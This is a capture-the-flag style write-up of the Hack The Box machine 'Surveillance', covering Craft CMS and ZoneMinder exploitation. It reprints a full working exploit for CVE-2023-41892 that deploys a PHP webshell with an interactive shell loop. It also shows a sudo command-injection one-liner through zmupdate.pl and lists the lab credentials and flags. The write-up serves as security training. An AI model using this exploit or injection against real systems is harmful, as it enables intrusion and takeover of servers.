Home HTB Surveillance Writeup
Post
Cancel

HTB Surveillance Writeup

Overview

Surveillance is a medium-difficulty Linux machine that showcases a vulnerability ([CVE-2023-41892](https://nvd.nist.gov/vuln/detail/CVE-2023-41892)) in Craft CMS, which abuses PHP object injection to inject PHP content into the Craft CMS web log files to gain Remote Code Execution (RCE). The privilege escalation abuses ZoneMinder with an authenticated remote code injection in the HostController.php API endpoint to gain a shell as the zoneminder user. As this user, a sudo entry is abused by adding a configuration environment variable LD_PRELOAD via the admin panel and loading the malicious library file through zmdc.dl on the target, compromising the system.

Surveillance.png

Name - Surveillance

IP - 10.10.11.245

Difficulty - Medium

OS - Linux

Points - 30

Information Gathering

Port Scan

Basic Scan

1
2
3
4
5
6
7
8
9
Starting Nmap 7.80 ( https://nmap.org ) at 2024-04-06 02:10 +06
Nmap scan report for 10.10.11.245
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 10.97 seconds

Version Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
Starting Nmap 7.80 ( https://nmap.org ) at 2024-04-06 02:11 +06
Nmap scan report for 10.10.11.245
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.87 seconds

HTTP Enumeration

The http port looks like the following

From the source, we can see the cms is craftcms version 4.4.14

Looks like, It has public exploit CVE-2023-41892

So, got the PoC from https://www.exploit-db.com/exploits/51918

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
#coding: utf-8

# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce

import requests
import sys, re

if(len(sys.argv) < 2):
    print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
    exit()

HOST = sys.argv[1]

if not re.match('^https?://.*', HOST):
    print("\033[1;31m[-]\033[0m URL should start with http or https")
    exit()

print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")

## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}

data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'

try:
    r = requests.post(url, headers=content_type, data=data)
except:
    print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
    exit()

# If we succeed, we should have default phpinfo credits 
if not 'PHP Group' in r.text:
	print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
	exit()


# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

tmp_dir       = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)


if 'no value' in tmp_dir:
	tmp_dir = '/tmp'

print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')

## Create shell.php in tmp_dir

data = {
    "action": "conditions/render",
    "configObject[class]": "craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
    "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
    <image>
    <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
    <write filename="info:DOCUMENTROOT/shell.php"/>
    </image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}

print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #  


# Use the Imagick trick to move the webshell in DOCUMENT_ROOT

data = {
    "action": "conditions/render",
    "configObject[class]": r"craft\elements\conditions\ElementCondition",
    "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}

print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

if r.status_code != 502:
    print("\033[1;31m[-]\033[0m Exploit failed")
    exit()

print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")

url = HOST + '/shell.php'

## Pseudo Shell
while True:
    command = input('\033[1;96m>\033[0m ')
    if command == 'exit':
        exit()

    if command == 'clear' or command == 'cls':
        print('\n' * 100)
        print('\033[H\033[3J', end='')
        continue

    data = {'cmd' : command}
    r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})

    # exit if we have an error
    if r.status_code != 200:
        print(f"Error: status code {r.status_code} for {url}")
        exit()

    res_command = r.text
    res_command = re.sub('^caption:', '', res_command)
    res_command = re.sub(' CAPTION.*$', '', res_command)

    print(res_command, end='')
            

And using the exploit, I got a shell

Getting User.txt

Linpeas found some creds

1
2
3
4
5
6
'password' => ZM_DB_PASS,
'database' => ZM_DB_NAME,
'host' => 'localhost',
'password' => 'ZoneMinderPassword2023',
'database' => 'zm',

But those creds didn’t help. I got one more interesting things from linpeas

The file contains a sql database backup of the system. I got admin hash from the sql database

Looks like a sha256 hash - 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec

And I cracked it with hashcat. With that, I got the username and password.

Username - matthew Password - starcraft122490

With that, I was able to get the user flag - a9ad47ceecd4790a391fcbb1fde9dbb1

Getting root.txt

From the linpeas I got another info

A service is running on port 8080. So, I port forwarded (ssh -L 8080:localhost:8080 [email protected]) and fetch the server and got the following zoneminder setup

And after googling about zoneminder I found an exploit (CVE-2023-26035)

And I got this github repo with a poc. I used that to get a reverse shell.

And the user zoneminder can run the following as sudo

After some googling, I found out I can execute command using zmupdate.pl file and the user parameter. The user parameter directly pass that after mysql -u and that executes the command.

1
sudo /usr/bin/zmupdate.pl --version=1 --user='`cat /root/root.txt`' --pass=ZoneMinderPassword2023

And that gives the root flag - 1be1461fdd1beebd3314c96ad1a064aa

Flags

user.txt - a9ad47ceecd4790a391fcbb1fde9dbb1

root.txt - 1be1461fdd1beebd3314c96ad1a064aa

This post is licensed under CC BY 4.0 by the author.